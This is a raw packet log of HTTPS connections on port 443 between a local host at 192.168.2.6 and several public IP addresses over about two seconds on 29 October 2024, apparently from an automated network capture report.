Oct 29, 2024 17:59:39.423418999 CET	49930	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:39.423440933 CET	443	49930	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:39.423454046 CET	49930	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:39.423460960 CET	443	49930	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:39.435041904 CET	443	49933	13.107.246.57	192.168.2.6
Oct 29, 2024 17:59:39.441656113 CET	49933	443	192.168.2.6	13.107.246.57
Oct 29, 2024 17:59:39.441667080 CET	443	49933	13.107.246.57	192.168.2.6
Oct 29, 2024 17:59:39.442104101 CET	443	49933	13.107.246.57	192.168.2.6
Oct 29, 2024 17:59:39.443613052 CET	49933	443	192.168.2.6	13.107.246.57
Oct 29, 2024 17:59:39.443686008 CET	443	49933	13.107.246.57	192.168.2.6
Oct 29, 2024 17:59:39.443713903 CET	49933	443	192.168.2.6	13.107.246.57
Oct 29, 2024 17:59:39.447242975 CET	49937	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:39.447280884 CET	443	49937	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:39.447366953 CET	49937	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:39.447432041 CET	443	49929	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:39.447508097 CET	443	49929	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:39.447619915 CET	49929	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:39.447801113 CET	49937	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:39.447812080 CET	443	49937	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:39.447994947 CET	49929	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:39.448013067 CET	443	49929	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:39.448029041 CET	49929	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:39.448035002 CET	443	49929	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:39.450182915 CET	49938	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:39.450211048 CET	443	49938	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:39.450268030 CET	49938	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:39.450434923 CET	49938	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:39.450445890 CET	443	49938	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:39.456425905 CET	443	49931	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:39.456621885 CET	443	49931	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:39.457075119 CET	49931	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:39.457108021 CET	49931	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:39.457120895 CET	443	49931	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:39.457132101 CET	49931	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:39.457139015 CET	443	49931	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:39.458966017 CET	49939	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:39.459006071 CET	443	49939	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:39.459352970 CET	49939	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:39.459631920 CET	49939	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:39.459644079 CET	443	49939	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:39.464972019 CET	443	49932	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:39.465004921 CET	443	49932	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:39.465054035 CET	443	49932	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:39.465081930 CET	49932	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:39.465115070 CET	49932	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:39.465223074 CET	49932	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:39.465226889 CET	443	49934	23.218.232.185	192.168.2.6
Oct 29, 2024 17:59:39.465243101 CET	443	49932	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:39.465267897 CET	49932	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:39.465276003 CET	443	49932	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:39.467489004 CET	49940	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:39.467525959 CET	443	49940	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:39.467641115 CET	49940	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:39.467818022 CET	49940	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:39.467850924 CET	443	49940	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:39.469661951 CET	443	49934	23.218.232.185	192.168.2.6
Oct 29, 2024 17:59:39.469679117 CET	443	49934	23.218.232.185	192.168.2.6
Oct 29, 2024 17:59:39.469702005 CET	443	49934	23.218.232.185	192.168.2.6
Oct 29, 2024 17:59:39.469715118 CET	443	49934	23.218.232.185	192.168.2.6
Oct 29, 2024 17:59:39.469744921 CET	49934	443	192.168.2.6	23.218.232.185
Oct 29, 2024 17:59:39.469763041 CET	443	49934	23.218.232.185	192.168.2.6
Oct 29, 2024 17:59:39.469777107 CET	49934	443	192.168.2.6	23.218.232.185
Oct 29, 2024 17:59:39.469801903 CET	443	49934	23.218.232.185	192.168.2.6
Oct 29, 2024 17:59:39.470710039 CET	49934	443	192.168.2.6	23.218.232.185
Oct 29, 2024 17:59:39.470720053 CET	443	49934	23.218.232.185	192.168.2.6
Oct 29, 2024 17:59:39.470730066 CET	49934	443	192.168.2.6	23.218.232.185
Oct 29, 2024 17:59:39.491331100 CET	443	49933	13.107.246.57	192.168.2.6
Oct 29, 2024 17:59:39.552874088 CET	49933	443	192.168.2.6	13.107.246.57
Oct 29, 2024 17:59:39.802639961 CET	49941	443	192.168.2.6	40.113.110.67
Oct 29, 2024 17:59:39.802691936 CET	443	49941	40.113.110.67	192.168.2.6
Oct 29, 2024 17:59:39.802903891 CET	49941	443	192.168.2.6	40.113.110.67
Oct 29, 2024 17:59:39.803570986 CET	49941	443	192.168.2.6	40.113.110.67
Oct 29, 2024 17:59:39.803586006 CET	443	49941	40.113.110.67	192.168.2.6
Oct 29, 2024 17:59:39.829502106 CET	49942	443	192.168.2.6	162.159.61.3
Oct 29, 2024 17:59:39.829550982 CET	443	49942	162.159.61.3	192.168.2.6
Oct 29, 2024 17:59:39.829608917 CET	49942	443	192.168.2.6	162.159.61.3
Oct 29, 2024 17:59:39.829746962 CET	49943	443	192.168.2.6	162.159.61.3
Oct 29, 2024 17:59:39.829778910 CET	443	49943	162.159.61.3	192.168.2.6
Oct 29, 2024 17:59:39.829895020 CET	49943	443	192.168.2.6	162.159.61.3
Oct 29, 2024 17:59:39.831876993 CET	49942	443	192.168.2.6	162.159.61.3
Oct 29, 2024 17:59:39.831901073 CET	443	49942	162.159.61.3	192.168.2.6
Oct 29, 2024 17:59:39.831998110 CET	49943	443	192.168.2.6	162.159.61.3
Oct 29, 2024 17:59:39.832010031 CET	443	49943	162.159.61.3	192.168.2.6
Oct 29, 2024 17:59:39.860697031 CET	443	49933	13.107.246.57	192.168.2.6
Oct 29, 2024 17:59:39.860721111 CET	443	49933	13.107.246.57	192.168.2.6
Oct 29, 2024 17:59:39.860732079 CET	443	49933	13.107.246.57	192.168.2.6
Oct 29, 2024 17:59:39.860764980 CET	443	49933	13.107.246.57	192.168.2.6
Oct 29, 2024 17:59:39.860775948 CET	443	49933	13.107.246.57	192.168.2.6
Oct 29, 2024 17:59:39.860788107 CET	443	49933	13.107.246.57	192.168.2.6
Oct 29, 2024 17:59:39.860794067 CET	49933	443	192.168.2.6	13.107.246.57
Oct 29, 2024 17:59:39.860804081 CET	443	49933	13.107.246.57	192.168.2.6
Oct 29, 2024 17:59:39.860827923 CET	49933	443	192.168.2.6	13.107.246.57
Oct 29, 2024 17:59:39.860865116 CET	49933	443	192.168.2.6	13.107.246.57
Oct 29, 2024 17:59:39.978657007 CET	443	49933	13.107.246.57	192.168.2.6
Oct 29, 2024 17:59:39.978668928 CET	443	49933	13.107.246.57	192.168.2.6
Oct 29, 2024 17:59:39.978704929 CET	443	49933	13.107.246.57	192.168.2.6
Oct 29, 2024 17:59:39.978733063 CET	49933	443	192.168.2.6	13.107.246.57
Oct 29, 2024 17:59:39.978741884 CET	443	49933	13.107.246.57	192.168.2.6
Oct 29, 2024 17:59:39.978749037 CET	443	49933	13.107.246.57	192.168.2.6
Oct 29, 2024 17:59:39.978761911 CET	49933	443	192.168.2.6	13.107.246.57
Oct 29, 2024 17:59:39.978777885 CET	49933	443	192.168.2.6	13.107.246.57
Oct 29, 2024 17:59:40.016736984 CET	443	49936	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:40.017267942 CET	49936	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:40.017302036 CET	443	49936	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:40.017755032 CET	49936	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:40.017761946 CET	443	49936	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:40.095990896 CET	443	49933	13.107.246.57	192.168.2.6
Oct 29, 2024 17:59:40.096019983 CET	443	49933	13.107.246.57	192.168.2.6
Oct 29, 2024 17:59:40.096102953 CET	49933	443	192.168.2.6	13.107.246.57
Oct 29, 2024 17:59:40.096112967 CET	443	49933	13.107.246.57	192.168.2.6
Oct 29, 2024 17:59:40.096149921 CET	49933	443	192.168.2.6	13.107.246.57
Oct 29, 2024 17:59:40.153439999 CET	443	49936	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:40.153526068 CET	443	49936	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:40.153610945 CET	49936	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:40.157138109 CET	49936	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:40.157160044 CET	443	49936	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:40.157175064 CET	49936	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:40.157182932 CET	443	49936	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:40.161135912 CET	49945	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:40.161175013 CET	443	49945	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:40.161232948 CET	49945	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:40.161372900 CET	49945	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:40.161386013 CET	443	49945	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:40.178776979 CET	443	49938	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:40.179179907 CET	49938	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:40.179203033 CET	443	49938	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:40.179671049 CET	49938	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:40.179677010 CET	443	49938	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:40.192776918 CET	443	49937	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:40.193165064 CET	49937	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:40.193206072 CET	443	49937	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:40.193656921 CET	49937	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:40.193664074 CET	443	49937	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:40.198179007 CET	443	49940	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:40.198633909 CET	49940	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:40.198666096 CET	443	49940	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:40.199017048 CET	49940	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:40.199023008 CET	443	49940	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:40.203989029 CET	443	49939	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:40.204349041 CET	49939	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:40.204365969 CET	443	49939	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:40.204765081 CET	49939	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:40.204771042 CET	443	49939	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:40.213141918 CET	443	49933	13.107.246.57	192.168.2.6
Oct 29, 2024 17:59:40.213172913 CET	443	49933	13.107.246.57	192.168.2.6
Oct 29, 2024 17:59:40.213274956 CET	49933	443	192.168.2.6	13.107.246.57
Oct 29, 2024 17:59:40.213290930 CET	443	49933	13.107.246.57	192.168.2.6
Oct 29, 2024 17:59:40.213360071 CET	49933	443	192.168.2.6	13.107.246.57
Oct 29, 2024 17:59:40.309519053 CET	443	49938	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:40.309578896 CET	443	49938	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:40.309648991 CET	49938	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:40.309859037 CET	49938	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:40.309881926 CET	443	49938	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:40.309897900 CET	49938	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:40.309906006 CET	443	49938	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:40.312580109 CET	49946	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:40.312597990 CET	443	49946	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:40.312715054 CET	49946	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:40.312866926 CET	49946	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:40.312874079 CET	443	49946	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:40.325510025 CET	443	49937	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:40.325578928 CET	443	49937	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:40.325634956 CET	49937	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:40.325742006 CET	49937	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:40.325766087 CET	443	49937	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:40.325781107 CET	49937	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:40.325788975 CET	443	49937	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:40.328044891 CET	49947	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:40.328074932 CET	443	49947	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:40.328130960 CET	49947	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:40.328265905 CET	49947	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:40.328279972 CET	443	49947	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:40.329175949 CET	443	49940	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:40.329206944 CET	443	49940	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:40.329253912 CET	443	49940	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:40.329262972 CET	49940	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:40.329304934 CET	49940	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:40.329435110 CET	49940	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:40.329448938 CET	443	49940	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:40.329463005 CET	49940	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:40.329468012 CET	443	49940	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:40.330842018 CET	443	49933	13.107.246.57	192.168.2.6
Oct 29, 2024 17:59:40.330869913 CET	443	49933	13.107.246.57	192.168.2.6
Oct 29, 2024 17:59:40.330964088 CET	49933	443	192.168.2.6	13.107.246.57
Oct 29, 2024 17:59:40.330974102 CET	443	49933	13.107.246.57	192.168.2.6
Oct 29, 2024 17:59:40.331007004 CET	49933	443	192.168.2.6	13.107.246.57
Oct 29, 2024 17:59:40.331022978 CET	49933	443	192.168.2.6	13.107.246.57
Oct 29, 2024 17:59:40.331727028 CET	49948	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:40.331753969 CET	443	49948	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:40.331847906 CET	49948	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:40.331948042 CET	49948	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:40.331960917 CET	443	49948	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:40.336644888 CET	443	49939	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:40.336673975 CET	443	49939	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:40.336813927 CET	443	49939	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:40.336869955 CET	49939	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:40.337048054 CET	49939	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:40.337054968 CET	443	49939	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:40.337069035 CET	49939	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:40.337074041 CET	443	49939	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:40.339392900 CET	49949	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:40.339418888 CET	443	49949	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:40.339557886 CET	49949	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:40.339700937 CET	49949	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:40.339715004 CET	443	49949	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:40.446101904 CET	443	49943	162.159.61.3	192.168.2.6
Oct 29, 2024 17:59:40.446365118 CET	49943	443	192.168.2.6	162.159.61.3
Oct 29, 2024 17:59:40.446383953 CET	443	49943	162.159.61.3	192.168.2.6
Oct 29, 2024 17:59:40.446723938 CET	443	49943	162.159.61.3	192.168.2.6
Oct 29, 2024 17:59:40.447675943 CET	443	49933	13.107.246.57	192.168.2.6
Oct 29, 2024 17:59:40.447704077 CET	443	49933	13.107.246.57	192.168.2.6
Oct 29, 2024 17:59:40.447736025 CET	49933	443	192.168.2.6	13.107.246.57
Oct 29, 2024 17:59:40.447746038 CET	443	49933	13.107.246.57	192.168.2.6
Oct 29, 2024 17:59:40.447797060 CET	49933	443	192.168.2.6	13.107.246.57
Oct 29, 2024 17:59:40.447797060 CET	49933	443	192.168.2.6	13.107.246.57
Oct 29, 2024 17:59:40.448399067 CET	49943	443	192.168.2.6	162.159.61.3
Oct 29, 2024 17:59:40.448463917 CET	443	49943	162.159.61.3	192.168.2.6
Oct 29, 2024 17:59:40.448549032 CET	49943	443	192.168.2.6	162.159.61.3
Oct 29, 2024 17:59:40.476564884 CET	443	49942	162.159.61.3	192.168.2.6
Oct 29, 2024 17:59:40.478827000 CET	49942	443	192.168.2.6	162.159.61.3
Oct 29, 2024 17:59:40.478846073 CET	443	49942	162.159.61.3	192.168.2.6
Oct 29, 2024 17:59:40.479366064 CET	443	49942	162.159.61.3	192.168.2.6
Oct 29, 2024 17:59:40.479866982 CET	49942	443	192.168.2.6	162.159.61.3
Oct 29, 2024 17:59:40.479954958 CET	443	49942	162.159.61.3	192.168.2.6
Oct 29, 2024 17:59:40.490256071 CET	443	49933	13.107.246.57	192.168.2.6
Oct 29, 2024 17:59:40.490283012 CET	443	49933	13.107.246.57	192.168.2.6
Oct 29, 2024 17:59:40.490364075 CET	49933	443	192.168.2.6	13.107.246.57
Oct 29, 2024 17:59:40.490374088 CET	443	49933	13.107.246.57	192.168.2.6
Oct 29, 2024 17:59:40.490392923 CET	49933	443	192.168.2.6	13.107.246.57
Oct 29, 2024 17:59:40.490408897 CET	49933	443	192.168.2.6	13.107.246.57
Oct 29, 2024 17:59:40.491323948 CET	443	49943	162.159.61.3	192.168.2.6
Oct 29, 2024 17:59:40.566368103 CET	443	49933	13.107.246.57	192.168.2.6
Oct 29, 2024 17:59:40.566405058 CET	443	49933	13.107.246.57	192.168.2.6
Oct 29, 2024 17:59:40.566441059 CET	49933	443	192.168.2.6	13.107.246.57
Oct 29, 2024 17:59:40.566456079 CET	443	49933	13.107.246.57	192.168.2.6
Oct 29, 2024 17:59:40.566509008 CET	49933	443	192.168.2.6	13.107.246.57
Oct 29, 2024 17:59:40.566531897 CET	49933	443	192.168.2.6	13.107.246.57
Oct 29, 2024 17:59:40.580193996 CET	443	49943	162.159.61.3	192.168.2.6
Oct 29, 2024 17:59:40.580270052 CET	443	49943	162.159.61.3	192.168.2.6
Oct 29, 2024 17:59:40.580380917 CET	49943	443	192.168.2.6	162.159.61.3
Oct 29, 2024 17:59:40.580430984 CET	49943	443	192.168.2.6	162.159.61.3
Oct 29, 2024 17:59:40.580451965 CET	443	49943	162.159.61.3	192.168.2.6
Oct 29, 2024 17:59:40.683701992 CET	443	49933	13.107.246.57	192.168.2.6
Oct 29, 2024 17:59:40.683736086 CET	443	49933	13.107.246.57	192.168.2.6
Oct 29, 2024 17:59:40.683834076 CET	49933	443	192.168.2.6	13.107.246.57
Oct 29, 2024 17:59:40.683834076 CET	49933	443	192.168.2.6	13.107.246.57
Oct 29, 2024 17:59:40.683855057 CET	443	49933	13.107.246.57	192.168.2.6
Oct 29, 2024 17:59:40.683967113 CET	49933	443	192.168.2.6	13.107.246.57
Oct 29, 2024 17:59:40.687335968 CET	443	49942	162.159.61.3	192.168.2.6
Oct 29, 2024 17:59:40.687417984 CET	49942	443	192.168.2.6	162.159.61.3
Oct 29, 2024 17:59:40.800261021 CET	443	49933	13.107.246.57	192.168.2.6
Oct 29, 2024 17:59:40.800302982 CET	443	49933	13.107.246.57	192.168.2.6
Oct 29, 2024 17:59:40.800349951 CET	49933	443	192.168.2.6	13.107.246.57
Oct 29, 2024 17:59:40.800373077 CET	443	49933	13.107.246.57	192.168.2.6
Oct 29, 2024 17:59:40.800415039 CET	49933	443	192.168.2.6	13.107.246.57
Oct 29, 2024 17:59:40.800415039 CET	49933	443	192.168.2.6	13.107.246.57
Oct 29, 2024 17:59:40.842767954 CET	443	49933	13.107.246.57	192.168.2.6
Oct 29, 2024 17:59:40.842792988 CET	443	49933	13.107.246.57	192.168.2.6
Oct 29, 2024 17:59:40.842916012 CET	49933	443	192.168.2.6	13.107.246.57
Oct 29, 2024 17:59:40.842937946 CET	443	49933	13.107.246.57	192.168.2.6
Oct 29, 2024 17:59:40.843736887 CET	49933	443	192.168.2.6	13.107.246.57
Oct 29, 2024 17:59:40.908092976 CET	443	49941	40.113.110.67	192.168.2.6
Oct 29, 2024 17:59:40.908337116 CET	49941	443	192.168.2.6	40.113.110.67
Oct 29, 2024 17:59:40.909996033 CET	49941	443	192.168.2.6	40.113.110.67
Oct 29, 2024 17:59:40.910011053 CET	443	49941	40.113.110.67	192.168.2.6
Oct 29, 2024 17:59:40.910295963 CET	443	49941	40.113.110.67	192.168.2.6
Oct 29, 2024 17:59:40.912240982 CET	49941	443	192.168.2.6	40.113.110.67
Oct 29, 2024 17:59:40.912240982 CET	49941	443	192.168.2.6	40.113.110.67
Oct 29, 2024 17:59:40.912276983 CET	443	49941	40.113.110.67	192.168.2.6
Oct 29, 2024 17:59:40.912540913 CET	49941	443	192.168.2.6	40.113.110.67
Oct 29, 2024 17:59:40.914458990 CET	443	49945	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:40.915258884 CET	49945	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:40.915273905 CET	443	49945	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:40.917139053 CET	49945	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:40.917143106 CET	443	49945	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:40.955338001 CET	443	49941	40.113.110.67	192.168.2.6
Oct 29, 2024 17:59:40.960112095 CET	443	49933	13.107.246.57	192.168.2.6
Oct 29, 2024 17:59:40.960139990 CET	443	49933	13.107.246.57	192.168.2.6
Oct 29, 2024 17:59:40.960562944 CET	49933	443	192.168.2.6	13.107.246.57
Oct 29, 2024 17:59:40.960601091 CET	443	49933	13.107.246.57	192.168.2.6
Oct 29, 2024 17:59:40.961021900 CET	49933	443	192.168.2.6	13.107.246.57
Oct 29, 2024 17:59:41.035819054 CET	443	49933	13.107.246.57	192.168.2.6
Oct 29, 2024 17:59:41.035845041 CET	443	49933	13.107.246.57	192.168.2.6
Oct 29, 2024 17:59:41.036297083 CET	49933	443	192.168.2.6	13.107.246.57
Oct 29, 2024 17:59:41.036313057 CET	443	49933	13.107.246.57	192.168.2.6
Oct 29, 2024 17:59:41.036506891 CET	49933	443	192.168.2.6	13.107.246.57
Oct 29, 2024 17:59:41.044234037 CET	443	49945	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:41.044262886 CET	443	49945	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:41.044317961 CET	443	49945	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:41.044348001 CET	49945	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:41.044625998 CET	49945	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:41.044930935 CET	49945	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:41.044940948 CET	443	49945	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:41.044985056 CET	49945	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:41.044991016 CET	443	49945	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:41.050604105 CET	49951	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:41.050637960 CET	443	49951	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:41.050743103 CET	49951	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:41.050945044 CET	49951	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:41.050962925 CET	443	49951	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:41.053011894 CET	443	49947	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:41.053426027 CET	49947	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:41.053442955 CET	443	49947	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:41.057122946 CET	49947	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:41.057130098 CET	443	49947	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:41.060420036 CET	443	49948	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:41.061053991 CET	49948	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:41.061070919 CET	443	49948	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:41.061268091 CET	49948	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:41.061273098 CET	443	49948	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:41.078444004 CET	443	49933	13.107.246.57	192.168.2.6
Oct 29, 2024 17:59:41.078500986 CET	443	49933	13.107.246.57	192.168.2.6
Oct 29, 2024 17:59:41.078659058 CET	49933	443	192.168.2.6	13.107.246.57
Oct 29, 2024 17:59:41.078659058 CET	49933	443	192.168.2.6	13.107.246.57
Oct 29, 2024 17:59:41.078674078 CET	443	49933	13.107.246.57	192.168.2.6
Oct 29, 2024 17:59:41.081218958 CET	49933	443	192.168.2.6	13.107.246.57
Oct 29, 2024 17:59:41.083173037 CET	443	49946	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:41.083633900 CET	49946	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:41.083647966 CET	443	49946	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:41.084327936 CET	49946	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:41.084332943 CET	443	49946	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:41.098208904 CET	443	49949	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:41.099733114 CET	49949	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:41.099733114 CET	49949	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:41.099757910 CET	443	49949	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:41.099814892 CET	443	49949	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:41.160888910 CET	443	49941	40.113.110.67	192.168.2.6
Oct 29, 2024 17:59:41.161426067 CET	49941	443	192.168.2.6	40.113.110.67
Oct 29, 2024 17:59:41.161426067 CET	49941	443	192.168.2.6	40.113.110.67
Oct 29, 2024 17:59:41.161443949 CET	443	49941	40.113.110.67	192.168.2.6
Oct 29, 2024 17:59:41.161639929 CET	443	49941	40.113.110.67	192.168.2.6
Oct 29, 2024 17:59:41.161746979 CET	49941	443	192.168.2.6	40.113.110.67
Oct 29, 2024 17:59:41.161746979 CET	49941	443	192.168.2.6	40.113.110.67
Oct 29, 2024 17:59:41.188960075 CET	443	49947	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:41.189002037 CET	443	49947	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:41.189065933 CET	443	49947	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:41.189136028 CET	49947	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:41.189136028 CET	49947	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:41.189457893 CET	49947	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:41.189457893 CET	49947	443	192.168.2.6	13.107.246.45
